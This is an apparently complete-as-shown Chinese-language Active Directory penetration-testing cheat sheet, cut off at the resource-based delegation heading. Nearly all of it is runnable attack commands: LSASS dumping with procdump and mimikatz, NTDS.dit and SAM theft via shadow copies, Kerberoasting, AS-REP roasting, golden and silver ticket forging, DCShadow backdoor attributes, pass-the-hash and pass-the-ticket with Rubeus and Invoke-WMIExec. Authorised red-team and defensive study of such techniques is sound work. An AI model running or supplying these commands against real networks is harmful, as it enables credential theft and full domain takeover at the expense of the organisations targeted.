描述
Active Directory 渗透测试技术指南 ## 信息收集 ### 域基础信息 - `nltest /domain_trusts` - 查看域信任关系 - `net view /domain` - 枚举域列表 - `nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>` - 定位域控制器 ### BloodHound 资产发现 ```powershell # SharpHound 数据收集 Invoke-BloodHound -CollectionMethod All -Domain target.com -ZipFileName loot.zip ``` ### LDAP 查询 ```powershell # 查找域管账户 ([adsisearcher]"(&(objectCategory=person)(objectClass=user)(adminCount=1))").FindAll() # 查找非约束委派的服务账户 Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=524288)(samAccountType=805306368))" ``` ## 凭据获取 ### LSASS 内存提取 ```powershell # procdump + mimikatz 离线解析 procdump.exe -accepteula -ma lsass.exe lsass.dmp sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full ``` ### SAM/NTDS.dit 提取 ```powershell # Volume Shadow Copy 方式 vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\loot\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\loot\ # ntdsutil 官方工具 ntdsutil "ac i ntds" "ifm" "create full c:\loot" q q ``` ### Kerberoasting ```powershell # 请求 SPN 服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.target.com:1433" # Rubeus 自动化 Rubeus.exe kerberoast /outfile:hashes.txt ``` ## Kerberos 攻击 ### AS-REP Roasting ```powershell # 查找 "Do not require Kerberos preauthentication" 账户 Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth # Rubeus 攻击 Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt ``` ### Golden Ticket ```powershell # 需要 krbtgt 账户的 NTLM hash mimikatz # lsadump::dcsync /domain:target.com /user:krbtgt mimikatz # kerberos::golden /user:Administrator /domain:target.com /sid:S-1-5-21-... /krbtgt:hash /ptt ``` ### Silver Ticket ```powershell # 针对特定服务，需要服务账户 NTLM hash mimikatz # kerberos::golden /user:fakeuser /domain:target.com /sid:S-1-5-21-... /target:sql01.target.com /service:MSSQLSvc /rc4:servicehash /ptt ``` ### DCShadow ```powershell # 需要域管权限，注册伪造 DC mimikatz # lsadump::dcshadow /object:targetuser /attribute:Description /value:"backdoor" ``` ## 横向移动 ### Pass-the-Hash ```powershell # mimikatz sekurlsa::pth /user:admin /domain:target.com /ntlm:hash /run:powershell.exe # Invoke-WMIExec Invoke-WMIExec -Target dc01.target.com -Username admin -Hash hash -Command "powershell -enc ..." ``` ### Over-Pass-the-Hash ```powershell # 获取 TGT 后使用正常 Kerberos 认证 Rubeus.exe asktgt /user:admin /rc4:hash /ptt ``` ### Pass-the-Ticket ```powershell # 导出票据后注入 mimikatz # sekurlsa::tickets /export mimikatz # kerberos::ptt [0;123456]-0-0-40810000-admin@krbtgt-target.com.kirbi ``` ### 约束委派滥用 ```powershell # 配置 S4U2Self + S4U2Proxy Rubeus.exe s4u /user:svc_account /rc4:hash /impersonateuser:admin /msdsspn:cifs/target.target.com /ptt ``` ### 基于资源的约束委派 (RBCD